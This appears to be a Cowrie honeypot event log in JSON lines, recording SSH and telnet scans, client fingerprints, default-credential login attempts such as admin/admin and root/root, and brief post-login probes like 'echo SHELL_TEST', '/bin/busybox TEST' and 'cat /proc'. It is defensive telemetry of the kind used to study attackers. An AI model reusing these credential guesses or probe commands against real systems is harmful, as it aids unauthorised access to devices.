{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:24:02.496593Z","src_ip":"141.11.21.145","session":"496a38ee2635","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"caja01","password":"caja01","message":"login attempt [caja01/caja01] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:24:02.749047Z","src_ip":"141.11.21.145","session":"496a38ee2635","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:24:03.835314Z","src_ip":"141.11.21.145","session":"496a38ee2635","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.52413558959961,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:24:07.190114Z","src_ip":"103.75.182.27","session":"a8de363f7f0b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.49654746055603,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:24:12.158845Z","src_ip":"103.75.182.27","session":"5d9ab223b559","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.46265745162964,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:24:17.163682Z","src_ip":"103.75.182.27","session":"5c6282002eeb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.45981526374817,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:24:17.167938Z","src_ip":"103.75.182.27","session":"1f9d37b40f8a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.754067420959473,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:24:21.228474Z","src_ip":"103.75.182.27","session":"752b74e5c3f7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.818812370300293,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:24:22.411889Z","src_ip":"103.160.107.19","session":"157d1548f5ff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.160.107.19","src_port":43474,"dst_ip":"10.17.0.5","dst_port":23,"session":"c038725e4199","protocol":"telnet","message":"New connection: 103.160.107.19:43474 (10.17.0.5:23) [session: c038725e4199]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:24:24.616724Z"}
{"eventid":"cowrie.session.closed","duration":30.560336112976074,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:24:31.192137Z","src_ip":"103.75.182.27","session":"af3264b1f547","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.160.107.19","src_port":57440,"dst_ip":"10.17.0.5","dst_port":23,"session":"e5456a659523","protocol":"telnet","message":"New connection: 103.160.107.19:57440 (10.17.0.5:23) [session: e5456a659523]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:24:39.526525Z"}
{"eventid":"cowrie.session.closed","duration":30.502302169799805,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:24:55.118908Z","src_ip":"103.160.107.19","session":"c038725e4199","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.57692050933838,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:25:10.103347Z","src_ip":"103.160.107.19","session":"e5456a659523","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":41224,"dst_ip":"10.17.0.5","dst_port":23,"session":"d378d07281fa","protocol":"telnet","message":"New connection: 104.245.105.2:41224 (10.17.0.5:23) [session: d378d07281fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:25:44.404196Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":51176,"dst_ip":"10.17.0.5","dst_port":23,"session":"2b4d3018a323","protocol":"telnet","message":"New connection: 104.245.105.2:51176 (10.17.0.5:23) [session: 2b4d3018a323]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:26:10.718186Z"}
{"eventid":"cowrie.session.closed","duration":30.667766332626343,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:26:15.071703Z","src_ip":"104.245.105.2","session":"d378d07281fa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.237.126.84","src_port":38558,"dst_ip":"10.17.0.5","dst_port":22,"session":"9a910ff5a555","protocol":"ssh","message":"New connection: 135.237.126.84:38558 (10.17.0.5:22) [session: 9a910ff5a555]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:26:18.399594Z"}
{"eventid":"cowrie.session.closed","duration":"10.0","message":"Connection lost after 10.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:26:28.411741Z","src_ip":"135.237.126.84","session":"9a910ff5a555","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.237.126.84","src_port":56104,"dst_ip":"10.17.0.5","dst_port":22,"session":"025b375a1547","protocol":"ssh","message":"New connection: 135.237.126.84:56104 (10.17.0.5:22) [session: 025b375a1547]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:26:28.420757Z"}
{"eventid":"cowrie.client.version","version":"MGLNDD_134.199.244.163_22","message":"Remote SSH version: MGLNDD_134.199.244.163_22","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:26:28.424984Z","src_ip":"135.237.126.84","session":"025b375a1547","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:26:28.428404Z","src_ip":"135.237.126.84","session":"025b375a1547","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.14216637611389,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:26:41.860272Z","src_ip":"104.245.105.2","session":"2b4d3018a323","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":42722,"dst_ip":"10.17.0.5","dst_port":23,"session":"a05313ce378a","protocol":"telnet","message":"New connection: 104.245.105.2:42722 (10.17.0.5:23) [session: a05313ce378a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:27:00.416636Z"}
{"eventid":"cowrie.session.closed","duration":31.147368669509888,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:27:31.563846Z","src_ip":"104.245.105.2","session":"a05313ce378a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":48728,"dst_ip":"10.17.0.5","dst_port":23,"session":"2ac058d5b541","protocol":"telnet","message":"New connection: 104.245.105.2:48728 (10.17.0.5:23) [session: 2ac058d5b541]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:27:43.344490Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.108","src_port":41952,"dst_ip":"159.203.135.109","dst_port":23,"session":"9a073ccc218d","protocol":"telnet","message":"New connection: 45.153.34.108:41952 (159.203.135.109:23) [session: 9a073ccc218d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:28:01.198338Z"}
{"eventid":"cowrie.session.closed","duration":0.005029201507568359,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:28:01.203229Z","src_ip":"45.153.34.108","session":"9a073ccc218d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.108","src_port":41964,"dst_ip":"159.203.135.109","dst_port":23,"session":"d8409dc665ef","protocol":"telnet","message":"New connection: 45.153.34.108:41964 (159.203.135.109:23) [session: d8409dc665ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:28:01.278816Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"","message":"login attempt [root/] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:28:01.780545Z","src_ip":"45.153.34.108","session":"d8409dc665ef","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.501706600189209,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:28:02.780389Z","src_ip":"45.153.34.108","session":"d8409dc665ef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.108","src_port":41966,"dst_ip":"159.203.135.109","dst_port":23,"session":"d4f7a86a8136","protocol":"telnet","message":"New connection: 45.153.34.108:41966 (159.203.135.109:23) [session: d4f7a86a8136]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:28:02.860651Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"root","message":"login attempt [root/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:28:03.360622Z","src_ip":"45.153.34.108","session":"d4f7a86a8136","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.4994988441467285,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:28:04.360006Z","src_ip":"45.153.34.108","session":"d4f7a86a8136","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.108","src_port":41980,"dst_ip":"159.203.135.109","dst_port":23,"session":"08fe8917a401","protocol":"telnet","message":"New connection: 45.153.34.108:41980 (159.203.135.109:23) [session: 08fe8917a401]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:28:04.441741Z"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:28:04.942322Z","src_ip":"45.153.34.108","session":"08fe8917a401","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:28:04.996796Z","src_ip":"45.153.34.108","session":"08fe8917a401","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"echo SHELL_TEST","message":"CMD: echo SHELL_TEST","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:28:05.944433Z","src_ip":"45.153.34.108","session":"08fe8917a401","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"/bin/busybox TEST","message":"CMD: /bin/busybox TEST","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:28:06.444608Z","src_ip":"45.153.34.108","session":"08fe8917a401","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"cat /proc","message":"CMD: cat /proc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:28:07.043951Z","src_ip":"45.153.34.108","session":"08fe8917a401","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"./","message":"CMD: ./","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:28:07.644649Z","src_ip":"45.153.34.108","session":"08fe8917a401","protocol":"telnet"}
{"eventid":"cowrie.command.failed","input":"./ ","message":"Command not found: ./ ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:28:07.648849Z","src_ip":"45.153.34.108","session":"08fe8917a401","protocol":"telnet"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/8a6ec7b5e46a3a9e5ee837394a2bb870a78f5f16ea86f1f33271447f9eed1860","size":565,"shasum":"8a6ec7b5e46a3a9e5ee837394a2bb870a78f5f16ea86f1f33271447f9eed1860","duplicate":true,"duration":"3.2","message":"Closing TTY Log: var/lib/cowrie/tty/8a6ec7b5e46a3a9e5ee837394a2bb870a78f5f16ea86f1f33271447f9eed1860 after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:28:08.246010Z","src_ip":"45.153.34.108","session":"08fe8917a401","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.817392349243164,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:28:08.259065Z","src_ip":"45.153.34.108","session":"08fe8917a401","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.50134086608887,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:28:15.845723Z","src_ip":"104.245.105.2","session":"2ac058d5b541","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":33192,"dst_ip":"10.17.0.5","dst_port":23,"session":"ef7abe84702c","protocol":"telnet","message":"New connection: 104.245.105.2:33192 (10.17.0.5:23) [session: ef7abe84702c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:28:32.633325Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.53.197.147","src_port":46558,"dst_ip":"10.17.0.5","dst_port":23,"session":"5db112bf0bf5","protocol":"telnet","message":"New connection: 186.53.197.147:46558 (10.17.0.5:23) [session: 5db112bf0bf5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:28:35.037519Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.53.197.147","src_port":46830,"dst_ip":"10.17.0.5","dst_port":23,"session":"89fab60ac5c0","protocol":"telnet","message":"New connection: 186.53.197.147:46830 (10.17.0.5:23) [session: 89fab60ac5c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:28:38.079368Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.53.197.147","src_port":47000,"dst_ip":"10.17.0.5","dst_port":23,"session":"eb404d09614a","protocol":"telnet","message":"New connection: 186.53.197.147:47000 (10.17.0.5:23) [session: eb404d09614a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:28:39.159910Z"}
{"eventid":"cowrie.session.closed","duration":34.76947903633118,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:29:07.402717Z","src_ip":"104.245.105.2","session":"ef7abe84702c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":56194,"dst_ip":"10.17.0.5","dst_port":23,"session":"b7019d3ff0e6","protocol":"telnet","message":"New connection: 104.245.105.2:56194 (10.17.0.5:23) [session: b7019d3ff0e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:29:09.712765Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":33124,"dst_ip":"10.17.0.5","dst_port":23,"session":"4a8b83938845","protocol":"telnet","message":"New connection: 104.245.105.2:33124 (10.17.0.5:23) [session: 4a8b83938845]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:29:20.781848Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.135.39.19","src_port":59976,"dst_ip":"159.203.135.109","dst_port":23,"session":"bcf911e4740e","protocol":"telnet","message":"New connection: 206.135.39.19:59976 (159.203.135.109:23) [session: bcf911e4740e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:29:22.038359Z"}
{"eventid":"cowrie.session.closed","duration":12.938810586929321,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:29:34.977052Z","src_ip":"206.135.39.19","session":"bcf911e4740e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.8178071975708,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:29:40.530456Z","src_ip":"104.245.105.2","session":"b7019d3ff0e6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.75930380821228,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:29:55.541028Z","src_ip":"104.245.105.2","session":"4a8b83938845","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00368213653564,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:30:35.041003Z","src_ip":"186.53.197.147","session":"5db112bf0bf5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00166773796082,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:30:38.080932Z","src_ip":"186.53.197.147","session":"89fab60ac5c0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00194191932678,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:30:39.161730Z","src_ip":"186.53.197.147","session":"eb404d09614a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":47934,"dst_ip":"10.17.0.5","dst_port":23,"session":"8914975a8ad6","protocol":"telnet","message":"New connection: 104.245.105.2:47934 (10.17.0.5:23) [session: 8914975a8ad6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:31:45.424193Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":50774,"dst_ip":"10.17.0.5","dst_port":23,"session":"fad1291fb835","protocol":"telnet","message":"New connection: 104.245.105.2:50774 (10.17.0.5:23) [session: fad1291fb835]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:31:57.386621Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":54212,"dst_ip":"10.17.0.5","dst_port":23,"session":"033e6d018477","protocol":"telnet","message":"New connection: 104.245.105.2:54212 (10.17.0.5:23) [session: 033e6d018477]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:32:10.257759Z"}
{"eventid":"cowrie.session.closed","duration":40.21567749977112,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:32:37.602198Z","src_ip":"104.245.105.2","session":"fad1291fb835","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.12579917907715,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:32:41.383408Z","src_ip":"104.245.105.2","session":"033e6d018477","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":56.951900005340576,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:32:42.375918Z","src_ip":"104.245.105.2","session":"8914975a8ad6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":59978,"dst_ip":"10.17.0.5","dst_port":23,"session":"6aed57c5eead","protocol":"telnet","message":"New connection: 104.245.105.2:59978 (10.17.0.5:23) [session: 6aed57c5eead]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:33:00.463717Z"}
{"eventid":"cowrie.session.closed","duration":31.43156599998474,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:33:31.895139Z","src_ip":"104.245.105.2","session":"6aed57c5eead","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":53000,"dst_ip":"10.17.0.5","dst_port":23,"session":"73aaf17df11c","protocol":"telnet","message":"New connection: 104.245.105.2:53000 (10.17.0.5:23) [session: 73aaf17df11c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:33:33.994649Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":53002,"dst_ip":"10.17.0.5","dst_port":23,"session":"8f4e76d33578","protocol":"telnet","message":"New connection: 104.245.105.2:53002 (10.17.0.5:23) [session: 8f4e76d33578]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:33:38.720736Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":58662,"dst_ip":"10.17.0.5","dst_port":22,"session":"5e328c10e2ea","protocol":"ssh","message":"New connection: 87.251.64.176:58662 (10.17.0.5:22) [session: 5e328c10e2ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:33:47.806935Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:33:47.816619Z","src_ip":"87.251.64.176","session":"5e328c10e2ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:33:47.906551Z","src_ip":"87.251.64.176","session":"5e328c10e2ea","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:33:48.289812Z","src_ip":"87.251.64.176","session":"5e328c10e2ea","protocol":"ssh"}
